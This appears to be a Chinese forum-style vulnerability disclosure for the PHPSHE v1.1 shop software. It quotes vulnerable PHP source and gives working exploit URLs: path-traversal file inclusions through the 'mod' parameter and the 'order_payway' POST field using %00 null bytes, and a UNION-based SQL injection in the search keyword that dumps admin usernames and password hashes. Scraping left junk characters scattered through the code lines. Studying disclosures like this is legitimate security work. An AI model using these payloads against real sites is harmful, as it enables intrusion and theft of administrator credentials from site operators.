phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
2 F# l0 O+ S" V& J8 i  |/* Phpshe v1.1 Vulnerability
/* ========================
9 S* W+ k) f1 z9 W/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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  Z4 f  k5 q7 C6 S" f- j
//common.php
if (get_magic_quotes_gpc()) {
1 D4 k7 V1 a& Y8 y7 U: L+ A!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
) g7 c8 s9 i' w+ b# ielse {
5 k- b1 r. i6 T% O! {!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# ]9 B- j, s" c" v9 W* a# D9 L!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
+ C+ ]" p0 q) x( w}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
# t# r, ?. f9 K) |/ p: @5 B!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
( J2 [0 H1 r3 B" l# R$ k3 v) k' E
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//首页文件
+ l; @' @# j, Y# ^4 Y- i+ P% `<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- I: K/ C& L8 M  i8 e$ dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
7 j& p( t7 w& g8 S/ {% m, I7 w6 y' F?>
//common 文件 第15行开始
  Y5 D3 U" d  ?+ T; ^url路由配置
% }, V! O2 [. p% l+ y. T$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
. O5 A6 v7 f3 X- v/ ~$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

6 n5 K! Q! Q- }5 t! t' s, q/ l 0×02 搜索注入

  P" v$ h: {* P<code id="code2">

//product.php文件
1 U4 k/ t. F2 d' Fcase 'list':
, B. U+ i3 o2 g$ y; \0 a0 P, W$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
6 ?) y6 M! ^) S- A2 U//搜索
8 F! h" U+ w% G1 u) U$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
" S. O& B! U8 Y  @5 O$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
0 s0 \* L0 d/ j/ F* a$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
. k1 G9 J, y1 l, N! belse {
0 j! J6 ^, @8 D) s* t6 k$sqlwhere .= " order by `product_id` desc";
; Z) g; n6 _# t- j$ l( g' O}
' M; e3 \/ }5 W+ m7 j1 }$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
- ~+ ^" ^* ~' F8 B. g( @9 ^//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
0 X4 N' C$ `( ^. ?- i$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
: |, h6 ~9 K& `8 }2 n! M- J0 d//处理条件语句
$sqlwhere = $this->_dowhere($where);
2 P" e$ h4 @  j. V0 oreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
0 U8 f" A3 @/ p! ?6 R* [( |/ n}
//exp
! P2 Q/ I- }! [product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

7 a) g3 M% |; f( s% ~$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

) b9 T: G7 h" o8 D8 {foreach($cache_payway as $k => $v) {

2 Y) q0 Q( Q0 M$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

) T8 W# U  L; X, A( r; r4 \. K!$order['order_id'] && pe_error('订单号错误...');

4 t- {5 [9 `8 v5 ~6 aif (isset($_p_pesubmit)) {

( [. ]" n' T) u9 a+ ?# Vif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; s" |# Z: G* j) G  ?' E) w( n8 Eforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
- L8 o: t  E; [! {  M" d

}

0 t7 P# v0 |. k6 lecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ h: U1 t/ k+ L7 o}//当一切准备好的时候就可以进行"鸡肋包含了"

* ~* v6 B# f! _! W- K( M6 y3 D  Felse {

, ~& g% d' j# S5 v! |2 Upe_error('支付错误...');

2 K, {# Z# W0 @+ a0 r}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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